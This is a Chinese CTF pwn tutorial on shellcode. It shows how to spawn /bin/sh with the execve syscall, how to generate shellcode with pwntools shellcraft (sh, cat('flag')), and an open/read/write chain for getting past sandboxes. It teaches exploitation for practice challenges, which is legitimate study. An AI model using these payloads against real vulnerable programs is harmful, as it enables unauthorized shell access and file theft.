shellcode
1、shellcode的定義
我們pwn的最終目標是打開一個shell,從shell中輸入指令打印flag文件里的flag,而這個shell打開方法就是運行shellcode。
2、shellcode的編寫
1、通過程序編寫
#include"unstd.h"
void main()
{
system("/bin/sh");
exit(0);
}
然后你自己編譯匯編得到對應的機器語言就行了,大家自己去gdb調試一下就會發現他實際上是調用system這個函數的,可是如果有這個函數我們直接棧溢出調到執行這個函數不就行了嗎?為什么要這樣,所以這個基本沒人用
2、觸發中斷
我們通過觸發中斷(int 0x80或者syscall),進行系統調用,這個利用的就是system("/bin/sh")底層是調用execve("/bin/sh",0,0)
x86 execve syscall:
x64 execve syscall:
這個我們只需要用匯編語言調好參數就行了,然后匯編成機器語言就得到了shellcode,這邊我就不詳細展示步驟了,因為我們還有更簡單的
3、pwntools生成
pwntools有強大的功能可以幫助我們直接生成shellcode
x86:
from pwn import*
context(log_level = 'debug', arch = 'i386', os = 'linux')#設置目標架構,不用太了解,直接用
shellcode=asm(shellcraft.sh())#生成shellcode,asm函數是進行匯編
x64:
from pwn import*
context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode=asm(shellcraft.sh())
這個有一點要注意,第二種方法寫出來的很多0,如果程序有特判不能有0那就不行了,可以改成第三種方法,這個沒0,還有一個很惡心,特判不能有b字符和n字符,可是沒有參數/bin/sh,我們咋搞,那就不要運行shell了唄,直接退役(bushi),我們可以換個思路,既然不能運行shell我們要的是flag,那我們直接打印flag不就好了嗎
sh=asm(shellcraft.cat('flag'))#相對於方法三就只要吧第三行改成這個就行了
3、orw變式
這個呢就是針對一些惡心的題目,開了沙箱,只能調用orw(open,read,write)這三個函數或者其他一些影響不大的函數,反正就是沒有cat和system還有execve,那么我們就要用這三個函數來搞,思想就是用open函數打開flag這個文件,然后用read讀入到程序中,在用write輸出到我們屏幕上
1.open(‘/flag’)
2.read(3,buf,0x100)
3.write(1,buf,0x100)
其中0x100都是讀入輸出大小,第一個參數1和3是讀入和輸出的位置,感興趣的自己了解,不感興趣的照抄就行,buf是程序的一段地址要求可讀可寫,大家自己去ida找,找到后就可以用pwntools直接生成了
sh=shellcraft.open('flag')
sh+=shellcraft.read(3,buf,0x100)
sh+=shellcraft.write(1,buf,0x100)
sh=asm(sh)